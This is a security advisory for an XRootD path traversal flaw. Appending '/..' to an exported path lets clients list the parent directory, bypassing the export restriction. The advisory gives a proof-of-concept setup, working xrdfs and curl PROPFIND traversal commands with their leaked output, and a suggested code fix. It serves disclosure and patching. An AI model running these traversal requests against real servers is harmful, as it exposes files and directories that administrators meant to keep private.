GHSA-vj8v-p5vw-m6v5

## Summary

A path traversal vulnerability in XRootD allows users to escape the exported directory scope and enumerate the contents of the parent directory by appending `/..` (specifically without trailing slash) to an exported path in `xrdfs ls` or `HTTP PROPFIND` requests.

This bypass ignores the `all.export` restriction.

## Affected component

`src/XrdXrootd/XrdXrootdXeq.cc`, and more precisely the functions `rpCheck()` and `Squash()` used in `do_Dirlist()` ([link](https://github.com/xrootd/xrootd/blob/19aa6dee76906fb4d56ded55e49bbe4171ade915/src/XrdXrootd/XrdXrootdXeq.cc#L696)), as they do not check if the path ends with ".." (without trailing slash). Then the path is passed directly to the filesystem layer.

## PoC

### Configuration

- **Configuration file:** ```conf xrd.port 1094

# Exposing only /alice/ oss.localroot /srv/xrootd/data/ all.export /alice/

# HTTP xrd.protocol http:1094 libXrdHttp.so

# Logs / monitoring all.adminpath /var/spool/xrootd all.pidpath /var/run/xrootd ```

- **Filesystem layout on the server:** ``` /srv/xrootd/data/ ├── alice/ ← only exported directory ├── bob/ ← not exported └── secret.txt ← not exported ```

- **Starting the server:** `xrootd -c /etc/xrootd/xrootd.cfg`

### Steps to reproduce

**Normal behavior (access outside export is denied):** ```bash $ xrdfs root://<xrootd-server> ls / [ERROR] Server responded with an error: [3010] Stating path '/' is disallowed. ```

**Bypass via trailing `..`:** ```bash $ xrdfs root://<xrootd-server>ls /alice/.. /alice/../alice /alice/../bob /alice/../secret.txt ``` **Also exploitable via HTTP PROPFIND:**

```bash curl -X PROPFIND 'http://<xrootd-server>:1094/alice/..' \ --path-as-is \ -H "Depth: 1" ``` Returns HTTP 200 with full listing of the parent directory, including unexported entries (`bob/`, `secret.txt`).

**However, file download via this path traversal is blocked:** ```bash $ xrdcp root://<xrootd-server>/alice/../secret.txt . [0B/0B][100%][==================================================][0B/s] Run: [ERROR] Server responded with an error: [3010] Opening relative path 'alice/../secret.txt' is disallowed. (source) ```

## Impact An attacker can enumerate directories and filenames outside the authorized export scope defined by `all.export`. In the example above, a server exporting only `/alice/` leaks the existence of `/bob/` and `secret.txt` located in the parent directory (`oss.localroot`).

File download is not possible through this vector, as `xrdcp` correctly rejects the path with error 3010. The impact seems therefore limited to **information disclosure** (directory and filename enumeration).

This vulnerability could affect all XRootD deployments regardless of authentication configuration, as it bypasses the export path restriction itself.

## Suggested fix

In `rpCheck()` (`src/XrdXrootd/XrdXrootdXeq.cc`), change: ```cpp // Before if (fn[0] == '.' && fn[1] == '.' && fn[2] == '/') return 1;

// After if (fn[0] == '.' && fn[1] == '.' && (fn[2] == '/' || fn[2] == '\0')) return 1; ```